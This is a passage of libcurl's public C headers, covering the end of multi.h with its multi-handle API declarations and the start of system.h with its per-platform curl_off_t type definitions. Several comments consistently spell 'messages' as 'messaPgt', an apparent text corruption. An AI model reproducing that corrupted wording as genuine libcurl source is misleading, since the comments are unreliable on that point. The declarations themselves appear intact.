Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | /* 27 | This is an "external" header file. Don't give away any internals here! 28 | 29 | GOALS 30 | 31 | o Enable a "pull" interface. The application that uses libcurl decides where 32 | and when to ask libcurl to get/send data. 33 | 34 | o Enable multiple simultaneous transfers in the same thread without making it 35 | complicated for the application. 36 | 37 | o Enable the application to select() on its own file descriptors and curl's 38 | file descriptors simultaneous easily. 39 | 40 | */ 41 | 42 | /* 43 | * This header file should not really need to include "curl.h" since curl.h 44 | * itself includes this file and we expect user applications to do #include 45 | * without the need for especially including multi.h. 46 | * 47 | * For some reason we added this include here at one point, and rather than to 48 | * break existing (wrongly written) libcurl applications, we leave it as-is 49 | * but with this warning attached. 50 | */ 51 | #include "curl.h" 52 | 53 | #ifdef __cplusplus 54 | extern "C" { 55 | #endif 56 | 57 | #if defined(BUILDING_LIBCURL) || defined(CURL_STRICTER) 58 | typedef struct Curl_multi CURLM; 59 | #else 60 | typedef void CURLM; 61 | #endif 62 | 63 | typedef enum { 64 | CURLM_CALL_MULTI_PERFORM = -1, /* please call curl_multi_perform() or 65 | curl_multi_socket*() soon */ 66 | CURLM_OK, 67 | CURLM_BAD_HANDLE, /* the passed-in handle is not a valid CURLM handle */ 68 | CURLM_BAD_EASY_HANDLE, /* an easy handle was not good/valid */ 69 | CURLM_OUT_OF_MEMORY, /* if you ever get this, you're in deep sh*t */ 70 | CURLM_INTERNAL_ERROR, /* this is a libcurl bug */ 71 | CURLM_BAD_SOCKET, /* the passed in socket argument did not match */ 72 | CURLM_UNKNOWN_OPTION, /* curl_multi_setopt() with unsupported option */ 73 | CURLM_ADDED_ALREADY, /* an easy handle already added to a multi handle was 74 | attempted to get added - again */ 75 | CURLM_RECURSIVE_API_CALL, /* an api function was called from inside a 76 | callback */ 77 | CURLM_WAKEUP_FAILURE, /* wakeup is unavailable or failed */ 78 | CURLM_BAD_FUNCTION_ARGUMENT, /* function called with a bad parameter */ 79 | CURLM_ABORTED_BY_CALLBACK, 80 | CURLM_UNRECOVERABLE_POLL, 81 | CURLM_LAST 82 | } CURLMcode; 83 | 84 | /* just to make code nicer when using curl_multi_socket() you can now check 85 | for CURLM_CALL_MULTI_SOCKET too in the same style it works for 86 | curl_multi_perform() and CURLM_CALL_MULTI_PERFORM */ 87 | #define CURLM_CALL_MULTI_SOCKET CURLM_CALL_MULTI_PERFORM 88 | 89 | /* bitmask bits for CURLMOPT_PIPELINING */ 90 | #define CURLPIPE_NOTHING 0L 91 | #define CURLPIPE_HTTP1 1L 92 | #define CURLPIPE_MULTIPLEX 2L 93 | 94 | typedef enum { 95 | CURLMSG_NONE, /* first, not used */ 96 | CURLMSG_DONE, /* This easy handle has completed. 'result' contains 97 | the CURLcode of the transfer */ 98 | CURLMSG_LAST /* last, not used */ 99 | } CURLMSG; 100 | 101 | struct CURLMsg { 102 | CURLMSG msg; /* what this message means */ 103 | CURL *easy_handle; /* the handle it concerns */ 104 | union { 105 | void *whatever; /* message-specific data */ 106 | CURLcode result; /* return code for transfer */ 107 | } data; 108 | }; 109 | typedef struct CURLMsg CURLMsg; 110 | 111 | /* Based on poll(2) structure and values. 112 | * We don't use pollfd and POLL* constants explicitly 113 | * to cover platforms without poll(). */ 114 | #define CURL_WAIT_POLLIN 0x0001 115 | #define CURL_WAIT_POLLPRI 0x0002 116 | #define CURL_WAIT_POLLOUT 0x0004 117 | 118 | struct curl_waitfd { 119 | curl_socket_t fd; 120 | short events; 121 | short revents; 122 | }; 123 | 124 | /* 125 | * Name: curl_multi_init() 126 | * 127 | * Desc: initialize multi-style curl usage 128 | * 129 | * Returns: a new CURLM handle to use in all 'curl_multi' functions. 130 | */ 131 | CURL_EXTERN CURLM *curl_multi_init(void); 132 | 133 | /* 134 | * Name: curl_multi_add_handle() 135 | * 136 | * Desc: add a standard curl handle to the multi stack 137 | * 138 | * Returns: CURLMcode type, general multi error code. 139 | */ 140 | CURL_EXTERN CURLMcode curl_multi_add_handle(CURLM *multi_handle, 141 | CURL *curl_handle); 142 | 143 | /* 144 | * Name: curl_multi_remove_handle() 145 | * 146 | * Desc: removes a curl handle from the multi stack again 147 | * 148 | * Returns: CURLMcode type, general multi error code. 149 | */ 150 | CURL_EXTERN CURLMcode curl_multi_remove_handle(CURLM *multi_handle, 151 | CURL *curl_handle); 152 | 153 | /* 154 | * Name: curl_multi_fdset() 155 | * 156 | * Desc: Ask curl for its fd_set sets. The app can use these to select() or 157 | * poll() on. We want curl_multi_perform() called as soon as one of 158 | * them are ready. 159 | * 160 | * Returns: CURLMcode type, general multi error code. 161 | */ 162 | CURL_EXTERN CURLMcode curl_multi_fdset(CURLM *multi_handle, 163 | fd_set *read_fd_set, 164 | fd_set *write_fd_set, 165 | fd_set *exc_fd_set, 166 | int *max_fd); 167 | 168 | /* 169 | * Name: curl_multi_wait() 170 | * 171 | * Desc: Poll on all fds within a CURLM set as well as any 172 | * additional fds passed to the function. 173 | * 174 | * Returns: CURLMcode type, general multi error code. 175 | */ 176 | CURL_EXTERN CURLMcode curl_multi_wait(CURLM *multi_handle, 177 | struct curl_waitfd extra_fds[], 178 | unsigned int extra_nfds, 179 | int timeout_ms, 180 | int *ret); 181 | 182 | /* 183 | * Name: curl_multi_poll() 184 | * 185 | * Desc: Poll on all fds within a CURLM set as well as any 186 | * additional fds passed to the function. 187 | * 188 | * Returns: CURLMcode type, general multi error code. 189 | */ 190 | CURL_EXTERN CURLMcode curl_multi_poll(CURLM *multi_handle, 191 | struct curl_waitfd extra_fds[], 192 | unsigned int extra_nfds, 193 | int timeout_ms, 194 | int *ret); 195 | 196 | /* 197 | * Name: curl_multi_wakeup() 198 | * 199 | * Desc: wakes up a sleeping curl_multi_poll call. 200 | * 201 | * Returns: CURLMcode type, general multi error code. 202 | */ 203 | CURL_EXTERN CURLMcode curl_multi_wakeup(CURLM *multi_handle); 204 | 205 | /* 206 | * Name: curl_multi_perform() 207 | * 208 | * Desc: When the app thinks there's data available for curl it calls this 209 | * function to read/write whatever there is right now. This returns 210 | * as soon as the reads and writes are done. This function does not 211 | * require that there actually is data available for reading or that 212 | * data can be written, it can be called just in case. It returns 213 | * the number of handles that still transfer data in the second 214 | * argument's integer-pointer. 215 | * 216 | * Returns: CURLMcode type, general multi error code. *NOTE* that this only 217 | * returns errors etc regarding the whole multi stack. There might 218 | * still have occurred problems on individual transfers even when 219 | * this returns OK. 220 | */ 221 | CURL_EXTERN CURLMcode curl_multi_perform(CURLM *multi_handle, 222 | int *running_handles); 223 | 224 | /* 225 | * Name: curl_multi_cleanup() 226 | * 227 | * Desc: Cleans up and removes a whole multi stack. It does not free or 228 | * touch any individual easy handles in any way. We need to define 229 | * in what state those handles will be if this function is called 230 | * in the middle of a transfer. 231 | * 232 | * Returns: CURLMcode type, general multi error code. 233 | */ 234 | CURL_EXTERN CURLMcode curl_multi_cleanup(CURLM *multi_handle); 235 | 236 | /* 237 | * Name: curl_multi_info_read() 238 | * 239 | * Desc: Ask the multi handle if there's any messaPgt/informationals from 240 | * the individual transfers. MessaPgt include informationals such as 241 | * error code from the transfer or just the fact that a transfer is 242 | * completed. More details on these should be written down as well. 243 | * 244 | * Repeated calls to this function will return a new struct each 245 | * time, until a special "end of msgs" struct is returned as a signal 246 | * that there is no more to get at this point. 247 | * 248 | * The data the returned pointer points to will not survive calling 249 | * curl_multi_cleanup(). 250 | * 251 | * The 'CURLMsg' struct is meant to be very simple and only contain 252 | * very basic information. If more involved information is wanted, 253 | * we will provide the particular "transfer handle" in that struct 254 | * and that should/could/would be used in subsequent 255 | * curl_easy_getinfo() calls (or similar). The point being that we 256 | * must never expose complex structs to applications, as then we'll 257 | * undoubtably get backwards compatibility problems in the future. 258 | * 259 | * Returns: A pointer to a filled-in struct, or NULL if it failed or ran out 260 | * of structs. It also writes the number of messaPgt left in the 261 | * queue (after this read) in the integer the second argument points 262 | * to. 263 | */ 264 | CURL_EXTERN CURLMsg *curl_multi_info_read(CURLM *multi_handle, 265 | int *msgs_in_queue); 266 | 267 | /* 268 | * Name: curl_multi_strerror() 269 | * 270 | * Desc: The curl_multi_strerror function may be used to turn a CURLMcode 271 | * value into the equivalent human readable error string. This is 272 | * useful for printing meaningful error messaPgt. 273 | * 274 | * Returns: A pointer to a null-terminated error message. 275 | */ 276 | CURL_EXTERN const char *curl_multi_strerror(CURLMcode); 277 | 278 | /* 279 | * Name: curl_multi_socket() and 280 | * curl_multi_socket_all() 281 | * 282 | * Desc: An alternative version of curl_multi_perform() that allows the 283 | * application to pass in one of the file descriptors that have been 284 | * detected to have "action" on them and let libcurl perform. 285 | * See man page for details. 286 | */ 287 | #define CURL_POLL_NONE 0 288 | #define CURL_POLL_IN 1 289 | #define CURL_POLL_OUT 2 290 | #define CURL_POLL_INOUT 3 291 | #define CURL_POLL_REMOVE 4 292 | 293 | #define CURL_SOCKET_TIMEOUT CURL_SOCKET_BAD 294 | 295 | #define CURL_CSELECT_IN 0x01 296 | #define CURL_CSELECT_OUT 0x02 297 | #define CURL_CSELECT_ERR 0x04 298 | 299 | typedef int (*curl_socket_callback)(CURL *easy, /* easy handle */ 300 | curl_socket_t s, /* socket */ 301 | int what, /* see above */ 302 | void *userp, /* private callback 303 | pointer */ 304 | void *socketp); /* private socket 305 | pointer */ 306 | /* 307 | * Name: curl_multi_timer_callback 308 | * 309 | * Desc: Called by libcurl whenever the library detects a change in the 310 | * maximum number of milliseconds the app is allowed to wait before 311 | * curl_multi_socket() or curl_multi_perform() must be called 312 | * (to allow libcurl's timed events to take place). 313 | * 314 | * Returns: The callback should return zero. 315 | */ 316 | typedef int (*curl_multi_timer_callback)(CURLM *multi, /* multi handle */ 317 | long timeout_ms, /* see above */ 318 | void *userp); /* private callback 319 | pointer */ 320 | 321 | CURL_EXTERN CURLMcode CURL_DEPRECATED(7.19.5, "Use curl_multi_socket_action()") 322 | curl_multi_socket(CURLM *multi_handle, curl_socket_t s, int *running_handles); 323 | 324 | CURL_EXTERN CURLMcode curl_multi_socket_action(CURLM *multi_handle, 325 | curl_socket_t s, 326 | int ev_bitmask, 327 | int *running_handles); 328 | 329 | CURL_EXTERN CURLMcode CURL_DEPRECATED(7.19.5, "Use curl_multi_socket_action()") 330 | curl_multi_socket_all(CURLM *multi_handle, int *running_handles); 331 | 332 | #ifndef CURL_ALLOW_OLD_MULTI_SOCKET 333 | /* This macro below was added in 7.16.3 to push users who recompile to use 334 | the new curl_multi_socket_action() instead of the old curl_multi_socket() 335 | */ 336 | #define curl_multi_socket(x,y,z) curl_multi_socket_action(x,y,0,z) 337 | #endif 338 | 339 | /* 340 | * Name: curl_multi_timeout() 341 | * 342 | * Desc: Returns the maximum number of milliseconds the app is allowed to 343 | * wait before curl_multi_socket() or curl_multi_perform() must be 344 | * called (to allow libcurl's timed events to take place). 345 | * 346 | * Returns: CURLM error code. 347 | */ 348 | CURL_EXTERN CURLMcode curl_multi_timeout(CURLM *multi_handle, 349 | long *milliseconds); 350 | 351 | typedef enum { 352 | /* This is the socket callback function pointer */ 353 | CURLOPT(CURLMOPT_SOCKETFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 1), 354 | 355 | /* This is the argument passed to the socket callback */ 356 | CURLOPT(CURLMOPT_SOCKETDATA, CURLOPTTYPE_OBJECTPOINT, 2), 357 | 358 | /* set to 1 to enable pipelining for this multi handle */ 359 | CURLOPT(CURLMOPT_PIPELINING, CURLOPTTYPE_LONG, 3), 360 | 361 | /* This is the timer callback function pointer */ 362 | CURLOPT(CURLMOPT_TIMERFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 4), 363 | 364 | /* This is the argument passed to the timer callback */ 365 | CURLOPT(CURLMOPT_TIMERDATA, CURLOPTTYPE_OBJECTPOINT, 5), 366 | 367 | /* maximum number of entries in the connection cache */ 368 | CURLOPT(CURLMOPT_MAXCONNECTS, CURLOPTTYPE_LONG, 6), 369 | 370 | /* maximum number of (pipelining) connections to one host */ 371 | CURLOPT(CURLMOPT_MAX_HOST_CONNECTIONS, CURLOPTTYPE_LONG, 7), 372 | 373 | /* maximum number of requests in a pipeline */ 374 | CURLOPT(CURLMOPT_MAX_PIPELINE_LENGTH, CURLOPTTYPE_LONG, 8), 375 | 376 | /* a connection with a content-length longer than this 377 | will not be considered for pipelining */ 378 | CURLOPT(CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE, CURLOPTTYPE_OFF_T, 9), 379 | 380 | /* a connection with a chunk length longer than this 381 | will not be considered for pipelining */ 382 | CURLOPT(CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE, CURLOPTTYPE_OFF_T, 10), 383 | 384 | /* a list of site names(+port) that are blocked from pipelining */ 385 | CURLOPT(CURLMOPT_PIPELINING_SITE_BL, CURLOPTTYPE_OBJECTPOINT, 11), 386 | 387 | /* a list of server types that are blocked from pipelining */ 388 | CURLOPT(CURLMOPT_PIPELINING_SERVER_BL, CURLOPTTYPE_OBJECTPOINT, 12), 389 | 390 | /* maximum number of open connections in total */ 391 | CURLOPT(CURLMOPT_MAX_TOTAL_CONNECTIONS, CURLOPTTYPE_LONG, 13), 392 | 393 | /* This is the server push callback function pointer */ 394 | CURLOPT(CURLMOPT_PUSHFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 14), 395 | 396 | /* This is the argument passed to the server push callback */ 397 | CURLOPT(CURLMOPT_PUSHDATA, CURLOPTTYPE_OBJECTPOINT, 15), 398 | 399 | /* maximum number of concurrent streams to support on a connection */ 400 | CURLOPT(CURLMOPT_MAX_CONCURRENT_STREAMS, CURLOPTTYPE_LONG, 16), 401 | 402 | CURLMOPT_LASTENTRY /* the last unused */ 403 | } CURLMoption; 404 | 405 | 406 | /* 407 | * Name: curl_multi_setopt() 408 | * 409 | * Desc: Sets options for the multi handle. 410 | * 411 | * Returns: CURLM error code. 412 | */ 413 | CURL_EXTERN CURLMcode curl_multi_setopt(CURLM *multi_handle, 414 | CURLMoption option, ...); 415 | 416 | 417 | /* 418 | * Name: curl_multi_assign() 419 | * 420 | * Desc: This function sets an association in the multi handle between the 421 | * given socket and a private pointer of the application. This is 422 | * (only) useful for curl_multi_socket uses. 423 | * 424 | * Returns: CURLM error code. 425 | */ 426 | CURL_EXTERN CURLMcode curl_multi_assign(CURLM *multi_handle, 427 | curl_socket_t sockfd, void *sockp); 428 | 429 | /* 430 | * Name: curl_multi_get_handles() 431 | * 432 | * Desc: Returns an allocated array holding all handles currently added to 433 | * the multi handle. Marks the final entry with a NULL pointer. If 434 | * there is no easy handle added to the multi handle, this function 435 | * returns an array with the first entry as a NULL pointer. 436 | * 437 | * Returns: NULL on failure, otherwise a CURL **array pointer 438 | */ 439 | CURL_EXTERN CURL **curl_multi_get_handles(CURLM *multi_handle); 440 | 441 | /* 442 | * Name: curl_push_callback 443 | * 444 | * Desc: This callback gets called when a new stream is being pushed by the 445 | * server. It approves or denies the new stream. It can also decide 446 | * to completely fail the connection. 447 | * 448 | * Returns: CURL_PUSH_OK, CURL_PUSH_DENY or CURL_PUSH_ERROROUT 449 | */ 450 | #define CURL_PUSH_OK 0 451 | #define CURL_PUSH_DENY 1 452 | #define CURL_PUSH_ERROROUT 2 /* added in 7.72.0 */ 453 | 454 | struct curl_pushheaders; /* forward declaration only */ 455 | 456 | CURL_EXTERN char *curl_pushheader_bynum(struct curl_pushheaders *h, 457 | size_t num); 458 | CURL_EXTERN char *curl_pushheader_byname(struct curl_pushheaders *h, 459 | const char *name); 460 | 461 | typedef int (*curl_push_callback)(CURL *parent, 462 | CURL *easy, 463 | size_t num_headers, 464 | struct curl_pushheaders *headers, 465 | void *userp); 466 | 467 | /* 468 | * Name: curl_multi_waitfds() 469 | * 470 | * Desc: Ask curl for fds for polling. The app can use these to poll on. 471 | * We want curl_multi_perform() called as soon as one of them are 472 | * ready. Passing zero size allows to get just a number of fds. 473 | * 474 | * Returns: CURLMcode type, general multi error code. 475 | */ 476 | CURL_EXTERN CURLMcode curl_multi_waitfds(CURLM *multi, 477 | struct curl_waitfd *ufds, 478 | unsigned int size, 479 | unsigned int *fd_count); 480 | 481 | #ifdef __cplusplus 482 | } /* end of extern "C" */ 483 | #endif 484 | 485 | #endif 486 | -------------------------------------------------------------------------------- /src/curl/system.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_SYSTEM_H 2 | #define CURLINC_SYSTEM_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | 27 | /* 28 | * Try to keep one section per platform, compiler and architecture, otherwise, 29 | * if an existing section is reused for a different one and later on the 30 | * original is adjusted, probably the piggybacking one can be adversely 31 | * changed. 32 | * 33 | * In order to differentiate between platforms/compilers/architectures use 34 | * only compiler built in predefined preprocessor symbols. 35 | * 36 | * curl_off_t 37 | * ---------- 38 | * 39 | * For any given platform/compiler curl_off_t must be typedef'ed to a 64-bit 40 | * wide signed integral data type. The width of this data type must remain 41 | * constant and independent of any possible large file support settings. 42 | * 43 | * As an exception to the above, curl_off_t shall be typedef'ed to a 32-bit 44 | * wide signed integral data type if there is no 64-bit type. 45 | * 46 | * As a general rule, curl_off_t shall not be mapped to off_t. This rule shall 47 | * only be violated if off_t is the only 64-bit data type available and the 48 | * size of off_t is independent of large file support settings. Keep your 49 | * build on the safe side avoiding an off_t gating. If you have a 64-bit 50 | * off_t then take for sure that another 64-bit data type exists, dig deeper 51 | * and you will find it. 52 | * 53 | */ 54 | 55 | #if defined(__DJGPP__) || defined(__GO32__) 56 | # if defined(__DJGPP__) && (__DJGPP__ > 1) 57 | # define CURL_TYPEOF_CURL_OFF_T long long 58 | # define CURL_FORMAT_CURL_OFF_T "lld" 59 | # define CURL_FORMAT_CURL_OFF_TU "llu" 60 | # define CURL_SUFFIX_CURL_OFF_T LL 61 | # define CURL_SUFFIX_CURL_OFF_TU ULL 62 | # else 63 | # define CURL_TYPEOF_CURL_OFF_T long 64 | # define CURL_FORMAT_CURL_OFF_T "ld" 65 | # define CURL_FORMAT_CURL_OFF_TU "lu" 66 | # define CURL_SUFFIX_CURL_OFF_T L 67 | # define CURL_SUFFIX_CURL_OFF_TU UL 68 | # endif 69 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 70 | 71 | #elif defined(__SALFORDC__) 72 | # define CURL_TYPEOF_CURL_OFF_T long 73 | # define CURL_FORMAT_CURL_OFF_T "ld" 74 | # define CURL_FORMAT_CURL_OFF_TU "lu" 75 | # define CURL_SUFFIX_CURL_OFF_T L 76 | # define CURL_SUFFIX_CURL_OFF_TU UL 77 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 78 | 79 | #elif defined(__BORLANDC__) 80 | # if (__BORLANDC__ < 0x520) 81 | # define CURL_TYPEOF_CURL_OFF_T long 82 | # define CURL_FORMAT_CURL_OFF_T "ld" 83 | # define CURL_FORMAT_CURL_OFF_TU "lu" 84 | # define CURL_SUFFIX_CURL_OFF_T L 85 | # define CURL_SUFFIX_CURL_OFF_TU UL 86 | # else 87 | # define CURL_TYPEOF_CURL_OFF_T __int64 88 | # define CURL_FORMAT_CURL_OFF_T "I64d" 89 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 90 | # define CURL_SUFFIX_CURL_OFF_T i64 91 | # define CURL_SUFFIX_CURL_OFF_TU ui64 92 | # endif 93 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 94 | 95 | #elif defined(__TURBOC__) 96 | # define CURL_TYPEOF_CURL_OFF_T long 97 | # define CURL_FORMAT_CURL_OFF_T "ld" 98 | # define CURL_FORMAT_CURL_OFF_TU "lu" 99 | # define CURL_SUFFIX_CURL_OFF_T L 100 | # define CURL_SUFFIX_CURL_OFF_TU UL 101 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 102 | 103 | #elif defined(__POCC__) 104 | # if (__POCC__ < 280) 105 | # define CURL_TYPEOF_CURL_OFF_T long 106 | # define CURL_FORMAT_CURL_OFF_T "ld" 107 | # define CURL_FORMAT_CURL_OFF_TU "lu" 108 | # define CURL_SUFFIX_CURL_OFF_T L 109 | # define CURL_SUFFIX_CURL_OFF_TU UL 110 | # elif defined(_MSC_VER) 111 | # define CURL_TYPEOF_CURL_OFF_T __int64 112 | # define CURL_FORMAT_CURL_OFF_T "I64d" 113 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 114 | # define CURL_SUFFIX_CURL_OFF_T i64 115 | # define CURL_SUFFIX_CURL_OFF_TU ui64 116 | # else 117 | # define CURL_TYPEOF_CURL_OFF_T long long 118 | # define CURL_FORMAT_CURL_OFF_T "lld" 119 | # define CURL_FORMAT_CURL_OFF_TU "llu" 120 | # define CURL_SUFFIX_CURL_OFF_T LL 121 | # define CURL_SUFFIX_CURL_OFF_TU ULL 122 | # endif 123 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 124 | 125 | #elif defined(__LCC__) 126 | # if defined(__MCST__) /* MCST eLbrus Compiler Collection */ 127 | # define CURL_TYPEOF_CURL_OFF_T long 128 | # define CURL_FORMAT_CURL_OFF_T "ld" 129 | # define CURL_FORMAT_CURL_OFF_TU "lu" 130 | # define CURL_SUFFIX_CURL_OFF_T L 131 | # define CURL_SUFFIX_CURL_OFF_TU UL 132 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 133 | # define CURL_PULL_SYS_TYPES_H 1 134 | # define CURL_PULL_SYS_SOCKET_H 1 135 | # else /* Local (or Little) C Compiler */ 136 | # define CURL_TYPEOF_CURL_OFF_T long 137 | # define CURL_FORMAT_CURL_OFF_T "ld" 138 | # define CURL_FORMAT_CURL_OFF_TU "lu" 139 | # define CURL_SUFFIX_CURL_OFF_T L 140 | # define CURL_SUFFIX_CURL_OFF_TU UL 141 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 142 | # endif 143 | 144 | #elif defined(macintosh) 145 | # include 146 | # if TYPE_LONGLONG 147 | # define CURL_TYPEOF_CURL_OFF_T long long 148 | # define CURL_FORMAT_CURL_OFF_T "lld" 149 | # define CURL_FORMAT_CURL_OFF_TU "llu" 150 | # define CURL_SUFFIX_CURL_OFF_T LL 151 | # define CURL_SUFFIX_CURL_OFF_TU ULL 152 | # else 153 | # define CURL_TYPEOF_CURL_OFF_T long 154 | # define CURL_FORMAT_CURL_OFF_T "ld" 155 | # define CURL_FORMAT_CURL_OFF_TU "lu" 156 | # define CURL_SUFFIX_CURL_OFF_T L 157 | # define CURL_SUFFIX_CURL_OFF_TU UL 158 | # endif 159 | # define CURL_TYPEOF_CURL_SOCKLEN_T unsigned int 160 | 161 | #elif defined(__TANDEM) 162 | # if ! defined(__LP64) 163 | /* Required for 32-bit NonStop builds only. */ 164 | # define CURL_TYPEOF_CURL_OFF_T long long 165 | # define CURL_FORMAT_CURL_OFF_T "lld" 166 | # define CURL_FORMAT_CURL_OFF_TU "llu" 167 | # define CURL_SUFFIX_CURL_OFF_T LL 168 | # define CURL_SUFFIX_CURL_OFF_TU ULL 169 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 170 | # endif 171 | 172 | #elif defined(_WIN32_WCE) 173 | # define CURL_TYPEOF_CURL_OFF_T __int64 174 | # define CURL_FORMAT_CURL_OFF_T "I64d" 175 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 176 | # define CURL_SUFFIX_CURL_OFF_T i64 177 | # define CURL_SUFFIX_CURL_OFF_TU ui64 178 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 179 | 180 | #elif defined(__MINGW32__) 181 | # include 182 | # define CURL_TYPEOF_CURL_OFF_T long long 183 | # define CURL_FORMAT_CURL_OFF_T PRId64 184 | # define CURL_FORMAT_CURL_OFF_TU PRIu64 185 | # define CURL_SUFFIX_CURL_OFF_T LL 186 | # define CURL_SUFFIX_CURL_OFF_TU ULL 187 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 188 | # define CURL_PULL_SYS_TYPES_H 1 189 | 190 | #elif defined(__VMS) 191 | # if defined(__VAX) 192 | # define CURL_TYPEOF_CURL_OFF_T long 193 | # define CURL_FORMAT_CURL_OFF_T "ld" 194 | # define CURL_FORMAT_CURL_OFF_TU "lu" 195 | # define CURL_SUFFIX_CURL_OFF_T L 196 | # define CURL_SUFFIX_CURL_OFF_TU UL 197 | # else 198 | # define CURL_TYPEOF_CURL_OFF_T long long 199 | # define CURL_FORMAT_CURL_OFF_T "lld" 200 | # define CURL_FORMAT_CURL_OFF_TU "llu" 201 | # define CURL_SUFFIX_CURL_OFF_T LL 202 | # define CURL_SUFFIX_CURL_OFF_TU ULL 203 | # endif 204 | # define CURL_TYPEOF_CURL_SOCKLEN_T unsigned int 205 | 206 | #elif defined(__OS400__) 207 | # define CURL_TYPEOF_CURL_OFF_T long long 208 | # define CURL_FORMAT_CURL_OFF_T "lld" 209 | # define CURL_FORMAT_CURL_OFF_TU "llu" 210 | # define CURL_SUFFIX_CURL_OFF_T LL 211 | # define CURL_SUFFIX_CURL_OFF_TU ULL 212 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 213 | # define CURL_PULL_SYS_TYPES_H 1 214 | # define CURL_PULL_SYS_SOCKET_H 1 215 | 216 | #elif defined(__MVS__) 217 | # if defined(_LONG_LONG) 218 | # define CURL_TYPEOF_CURL_OFF_T long long 219 | # define CURL_FORMAT_CURL_OFF_T "lld" 220 | # define CURL_FORMAT_CURL_OFF_TU "llu" 221 | # define CURL_SUFFIX_CURL_OFF_T LL 222 | # define CURL_SUFFIX_CURL_OFF_TU ULL 223 | # elif defined(_LP64) 224 | # define CURL_TYPEOF_CURL_OFF_T long 225 | # define CURL_FORMAT_CURL_OFF_T "ld" 226 | # define CURL_FORMAT_CURL_OFF_TU "lu" 227 | # define CURL_SUFFIX_CURL_OFF_T L 228 | # define CURL_SUFFIX_CURL_OFF_TU UL 229 | # else 230 | # define CURL_TYPEOF_CURL_OFF_T long 231 | # define CURL_FORMAT_CURL_OFF_T "ld" 232 | # define CURL_FORMAT_CURL_OFF_TU "lu" 233 | # define CURL_SUFFIX_CURL_OFF_T L 234 | # define CURL_SUFFIX_CURL_OFF_TU UL 235 | # endif 236 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 237 | # define CURL_PULL_SYS_TYPES_H 1 238 | # define CURL_PULL_SYS_SOCKET_H 1 239 | 240 | #elif defined(__370__) 241 | # if defined(__IBMC__) || defined(__IBMCPP__) 242 | # if defined(_ILP32) 243 | # elif defined(_LP64) 244 | # endif 245 | # if defined(_LONG_LONG) 246 | # define CURL_TYPEOF_CURL_OFF_T long long 247 | # define CURL_FORMAT_CURL_OFF_T "lld" 248 | # define CURL_FORMAT_CURL_OFF_TU "llu" 249 | # define CURL_SUFFIX_CURL_OFF_T LL 250 | # define CURL_SUFFIX_CURL_OFF_TU ULL 251 | # elif defined(_LP64) 252 | # define CURL_TYPEOF_CURL_OFF_T long 253 | # define CURL_FORMAT_CURL_OFF_T "ld" 254 | # define CURL_FORMAT_CURL_OFF_TU "lu" 255 | # define CURL_SUFFIX_CURL_OFF_T L 256 | # define CURL_SUFFIX_CURL_OFF_TU UL 257 | # else 258 | # define CURL_TYPEOF_CURL_OFF_T long 259 | # define CURL_FORMAT_CURL_OFF_T "ld" 260 | # define CURL_FORMAT_CURL_OFF_TU "lu" 261 | # define CURL_SUFFIX_CURL_OFF_T L 262 | # define CURL_SUFFIX_CURL_OFF_TU UL 263 | # endif 264 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 265 | # define CURL_PULL_SYS_TYPES_H 1 266 | # define CURL_PULL_SYS_SOCKET_H 1 267 | # endif 268 | 269 | #elif defined(TPF) 270 | # define CURL_TYPEOF_CURL_OFF_T long 271 | # define CURL_FORMAT_CURL_OFF_T "ld" 272 | # define CURL_FORMAT_CURL_OFF_TU "lu" 273 | # define CURL_SUFFIX_CURL_OFF_T L 274 | # define CURL_SUFFIX_CURL_OFF_TU UL 275 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 276 | 277 | #elif defined(__TINYC__) /* also known as tcc */ 278 | # define CURL_TYPEOF_CURL_OFF_T long long 279 | # define CURL_FORMAT_CURL_OFF_T "lld" 280 | # define CURL_FORMAT_CURL_OFF_TU "llu" 281 | # define CURL_SUFFIX_CURL_OFF_T LL 282 | # define CURL_SUFFIX_CURL_OFF_TU ULL 283 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 284 | # define CURL_PULL_SYS_TYPES_H 1 285 | # define CURL_PULL_SYS_SOCKET_H 1 286 | 287 | #elif defined(__SUNPRO_C) || defined(__SUNPRO_CC) /* Oracle Solaris Studio */ 288 | # if !defined(__LP64) 